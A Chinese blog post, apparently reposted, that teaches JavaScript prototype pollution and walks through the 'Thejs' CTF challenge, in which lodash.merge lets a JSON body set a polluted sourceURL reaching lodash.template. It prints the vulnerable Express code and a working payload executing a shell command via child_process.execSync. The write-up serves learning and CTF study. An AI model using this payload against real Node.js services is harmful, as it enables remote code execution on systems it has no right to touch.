初探JavaScript原型链污染
<div style="white-space: pre-wrap; text-align: left; line-height: 1.75; font-size: 14px"><span style="font-family: monospace">18年p师傅在知识星球出了一些代码审计题目,其中就有一道难度为hard的js题目(Thejs)为原型链污染攻击,而当时我因为太忙了(其实是太菜了,流下了没技术的泪水)并没有认真看过,后续在p师傅写出writeup后也没有去分析,最近在先知看到niexinming师傅出的一道js的原型污染链攻击题目的wp才好似唤醒记忆般去学习了一下....</span></div><div style="white-space: pre-wrap; text-align: left; line-height: 1.75; font-size: 14px"><strong>0x01:原型和继承</strong></div>
<div style="white-space: pre-wrap; text-align: left; line-height: 1.75; font-size: 14px">JavaScript是一门灵活的语言,基于原型实现继承,原型是Javascript的继承的基础。</div>
<div style="white-space: pre-wrap; text-align: left; line-height: 1.75; font-size: 14px">它本身不提供一个 <span style="font-family: monospace">class实现。(在 ES2015/ES6 中引入了 <span style="font-family: monospace">class 关键字,但那只是语法糖,JavaScript 仍然是基于原型的)</span></span></div>
<div style="white-space: pre-wrap; text-align: left; line-height: 1.75; font-size: 14px">在js中,如果我们需要定义一个类,通过定义一个构造函数的方式来进行定义。</div>
<div style="white-space: pre-wrap; text-align: left; line-height: 1.75; font-size: 14px">比如:</div>
<div style="white-space: pre-wrap; text-align: left; line-height: 1.75; font-size: 14px">
<div class="cnblogs_code">
<pre><span style="color: rgba(0, 0, 0, 1)">function Test() {
</span><span style="color: rgba(0, 0, 255, 1)">this</span>.test = <span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">test</span><span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(0, 0, 0, 1)">
}</span></pre>
</div>
<div style="white-space: pre-wrap; text-align: left; line-height: 1.75; font-size: 14px">
<div style="text-align: left; float: none">
<div style="text-align: left; float: none"><img src="https://img2018.cnblogs.com/i-beta/1495879/202002/1495879-20200222221946224-100813983.png">
<div style="white-space: pre-wrap; text-align: left; line-height: 1.75; font-size: 14px">遵循ECMAScript标准,<span style="font-family: monospace">someObject.[] 符号是用于指向 <span style="font-family: monospace">someObject 的原型。从 ECMAScript 6 开始,<span style="font-family: monospace">[] 可以通过 <span style="font-family: monospace; color: rgba(0, 56, 132, 1); text-decoration: underline">Object.getPrototypeOf()</span> 和 <span style="font-family: monospace; color: rgba(0, 56, 132, 1); text-decoration: underline">Object.setPrototypeOf()</span> 访问器来访问。这个等同于 JavaScript 的非标准但许多浏览器实现的属性 <span style="font-family: monospace">__proto_</span></span></span></span></div>
<div style="white-space: pre-wrap; text-align: left; line-height: 1.75; font-size: 14px">每个实例对象都有一个私有属性__proto__指向它的构造函数的原型prototype,也就是</div>
<div style="white-space: pre-wrap; text-align: left; line-height: 1.75; font-size: 14px"><img src="https://img2018.cnblogs.com/i-beta/1495879/202002/1495879-20200222222131780-1885112179.png">
<div style="white-space: pre-wrap; text-align: left; line-height: 1.75; font-size: 14px">我们可以认为,原型prototype是类的一个属性,而这个属性中的值和方法被每一个由类实例出来的对象所共有,而我们可以通过实例对象test1.__proto__来访问Test类的原型,那么这样就出现了一个问题,假如我们可以控制实例对象的__proto__属性,则等于可以修改该类所有实例对象的__proto__属性。</div>
<div style="white-space: pre-wrap; text-align: left; line-height: 1.75; font-size: 14px">
<div style="white-space: pre-wrap; text-align: left; line-height: 1.75; font-size: 14px"><strong>0x02:原型链污染</strong></div>
<div style="white-space: pre-wrap; text-align: left; line-height: 1.75; font-size: 14px"><strong><strong><strong><img src="https://img2018.cnblogs.com/i-beta/1495879/202002/1495879-20200222222247295-117801956.png"></strong></strong></strong>
<div style="white-space: pre-wrap; text-align: left; line-height: 1.75; font-size: 14px">我们来看这一段代码,原本test1实例对象中是没有b属性的,但在我给test2做了私有属性__proto__赋值以后(test2.__proto__指向Test的原型prototype),test1.b有值了</div>
<div style="white-space: pre-wrap; text-align: left; line-height: 1.75; font-size: 14px">这是因为:对于对象test1,在调用<span style="font-family: monospace">test1.b的时候,实际上JavaScript引擎会进行如下操作:</span></div>
<div style="white-space: pre-wrap; text-align: left; line-height: 1.75; font-size: 14px">1.在对象test1中寻找b</div>
<div style="white-space: pre-wrap; text-align: left; line-height: 1.75; font-size: 14px">2.找不到,在<span style="font-family: monospace">test1.__proto__中寻找b(这里的<span style="font-family: monospace">test1.__proto__同样指向Test的原型prototype<span style="font-family: monospace">)</span></span></span></div>
<div style="white-space: pre-wrap; text-align: left; line-height: 1.75; font-size: 14px">3.如果仍然找不到,则继续在<span style="font-family: monospace">test1.__proto__.__proto__中寻找b</span></div>
<div style="white-space: pre-wrap; text-align: left; line-height: 1.75; font-size: 14px">4.依次寻找,直到找到<span style="font-family: monospace">null结束。比如,<span style="font-family: monospace">Object.prototype的<span style="font-family: monospace">__proto__就是<span style="font-family: monospace">null</span></span></span></span></div>
<div style="white-space: pre-wrap; text-align: left; line-height: 1.75; font-size: 14px"><span style="font-family: monospace">那么在Javascript中,我们何时可以控制实例对象的__proto__来污染原型链呢,只要找到可以控制数组(对象)的键名的位置即可,比如</span></div>
<div style="white-space: pre-wrap; text-align: left; line-height: 1.75; font-size: 14px"><span style="font-family: monospace">1.对象clone</span></div>
<div style="white-space: pre-wrap; text-align: left; line-height: 1.75; font-size: 14px"><span style="font-family: monospace">2.对象merge</span></div>
<div style="white-space: pre-wrap; text-align: left; line-height: 1.75; font-size: 14px"><span style="font-family: monospace">以merge举例,要使__proto__作为key被赋值,还需要一个条件为传递的参数需要是以json来做解析,否则__proto__会被当作原型而不是一个key,故也就无法成功污染</span></div>
<div style="white-space: pre-wrap; text-align: left; line-height: 1.75; font-size: 14px"><span style="font-family: monospace">直接拿p师傅的代码举例:</span></div>
<div style="white-space: pre-wrap; text-align: left; line-height: 1.75; font-size: 14px"><span style="font-family: monospace">直接赋值,污染原型链失败:</span></div>
<div style="white-space: pre-wrap; text-align: left; line-height: 1.75; font-size: 14px"><span style="font-family: monospace"><span style="font-family: monospace"><img src="https://img2018.cnblogs.com/i-beta/1495879/202002/1495879-20200222222812493-1738009874.png"></span></span></div>
<div style="white-space: pre-wrap; text-align: left; line-height: 1.75; font-size: 14px">
<div style="white-space: pre-wrap; text-align: left; line-height: 1.75; font-size: 14px"><span style="font-family: monospace">使用Json.parse,污染成功</span></div>
<div style="text-align: left; float: none"><img src="https://img2018.cnblogs.com/i-beta/1495879/202002/1495879-20200222222824872-173592674.png"></div>
<div style="white-space: pre-wrap; text-align: left; line-height: 1.75; font-size: 14px"><strong><span style="font-family: monospace">0x03:Thejs分析</span></strong></div>
<div style="white-space: pre-wrap; text-align: left; line-height: 1.75; font-size: 14px"><span style="font-family: monospace">关键代码很少,关键部分主要是:</span></div>
<div class="cnblogs_code">
<pre>const app =<span style="color: rgba(0, 0, 0, 1)"> express()
app.use(bodyParser.urlencoded({extended: </span><span style="color: rgba(0, 0, 255, 1)">true</span><span style="color: rgba(0, 0, 0, 1)">})).use(bodyParser.json())
app.use(</span>'/static', express.static('static'<span style="color: rgba(0, 0, 0, 1)">))
app.use(session({
name: </span>'thejs.session'<span style="color: rgba(0, 0, 0, 1)">,
secret: randomize(</span>'aA0', 16<span style="color: rgba(0, 0, 0, 1)">),
resave: </span><span style="color: rgba(0, 0, 255, 1)">false</span><span style="color: rgba(0, 0, 0, 1)">,
saveUninitialized: </span><span style="color: rgba(0, 0, 255, 1)">false</span><span style="color: rgba(0, 0, 0, 1)">
}))
app.engine(</span>'ejs', <span style="color: rgba(0, 0, 255, 1)">function</span> (filePath, options, callback) { <span style="color: rgba(0, 128, 0, 1)">//</span><span style="color: rgba(0, 128, 0, 1)"> define the template engine</span>
fs.readFile(filePath, (err, content) =><span style="color: rgba(0, 0, 0, 1)"> {
</span><span style="color: rgba(0, 0, 255, 1)">if</span> (err) <span style="color: rgba(0, 0, 255, 1)">return</span> callback(<span style="color: rgba(0, 0, 255, 1)">new</span><span style="color: rgba(0, 0, 0, 1)"> Error(err))
let compiled </span>=<span style="color: rgba(0, 0, 0, 1)"> lodash.template(content)
let rendered </span>=<span style="color: rgba(0, 0, 0, 1)"> compiled({...options})
</span><span style="color: rgba(0, 0, 255, 1)">return</span> callback(<span style="color: rgba(0, 0, 255, 1)">null</span><span style="color: rgba(0, 0, 0, 1)">, rendered)
})
})
app.set(</span>'views', './views'<span style="color: rgba(0, 0, 0, 1)">)
app.set(</span>'view engine', 'ejs'<span style="color: rgba(0, 0, 0, 1)">)
app.all(</span>'/', (req, res) =><span style="color: rgba(0, 0, 0, 1)"> {
let data </span>= req.session.data ||<span style="color: rgba(0, 0, 0, 1)"> {language: [], category: []}
</span><span style="color: rgba(0, 0, 255, 1)">if</span> (req.method == 'POST'<span style="color: rgba(0, 0, 0, 1)">) {
data </span>=<span style="color: rgba(0, 0, 0, 1)"> lodash.merge(data, req.body)
req.session.data </span>=<span style="color: rgba(0, 0, 0, 1)"> data
}
res.render(</span>'index'<span style="color: rgba(0, 0, 0, 1)">, {
language: data.language,
category: data.category
})
})</span></pre>
</div>
<div style="white-space: pre-wrap; text-align: left; line-height: 1.75; font-size: 14px">而lodash.merge也就是触发原型链攻击的地方</div>
<div style="white-space: pre-wrap; text-align: left; line-height: 1.75; font-size: 14px">先放p师傅的payload:</div>
<div style="white-space: pre-wrap; text-align: left; line-height: 1.75; font-size: 14px">
<div class="cnblogs_code">
<pre>{"__proto__":{"sourceURL":"\nreturn e=> {for (var a in {}) {delete Object.prototype;} return global.process.mainModule.constructor._load('child_process').execSync('id')}\n//"}}</pre>
</div>
</div>
<div style="white-space: pre-wrap; text-align: left; line-height: 1.75; font-size: 14px">我们在data = lodash.merge(data, req.body)处下断点,单步结束后可以看到</div>
<div style="text-align: left; float: none"><img src="https://img2018.cnblogs.com/i-beta/1495879/202002/1495879-20200222223056535-523315148.png"></div>
<div style="white-space: pre-wrap; text-align: left; line-height: 1.75; font-size: 14px">类型为Object的data对象中的__proto__属性中已经存在sourceURL属性</div>
<div style="white-space: pre-wrap; text-align: left; line-height: 1.75; font-size: 14px">为什么赋值一个sourceURL属性呢,该属性反应在<span style="font-family: monospace">lodash.template中</span></div>
<div style="text-align: left; float: none"><img src="https://img2018.cnblogs.com/i-beta/1495879/202002/1495879-20200222223121918-601392512.png"></div>
<div style="white-space: pre-wrap; text-align: left; line-height: 1.75; font-size: 14px"><span style="font-family: monospace">javascript中的代码执行可以通过eval和new Function, 这里的Funticon的sourceURL参数来源于</span></div>
<div style="text-align: left; float: none"><img src="https://img2018.cnblogs.com/i-beta/1495879/202002/1495879-20200222223133423-882637136.png"></div>
<div style="white-space: pre-wrap; text-align: left; line-height: 1.75; font-size: 14px"><span style="font-family: monospace">而options.sourceURL值原本是没有被赋值的,所以我们可以通过原型链污染给所有的Object对象插入一个sourceURL属性再拼接到new Function第二个参数中造成代码执行。</span></div>
<div style="white-space: pre-wrap; text-align: left; line-height: 1.75; font-size: 14px"><span style="font-family: monospace">我们在前面说过使用merge原型链污染需要json方式取值,而express默认通过body-parser解析请求体,所以直接将请求包的Content-Type改成application/json即可。</span></div>
<div style="white-space: pre-wrap; text-align: left; line-height: 1.75; font-size: 14px"><img src="https://img2018.cnblogs.com/i-beta/1495879/202002/1495879-20200222223204311-778825534.png">
<p> </p>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div><br><br>
来源:https://www.cnblogs.com/escape-w/p/12347705.html
頁:
[1]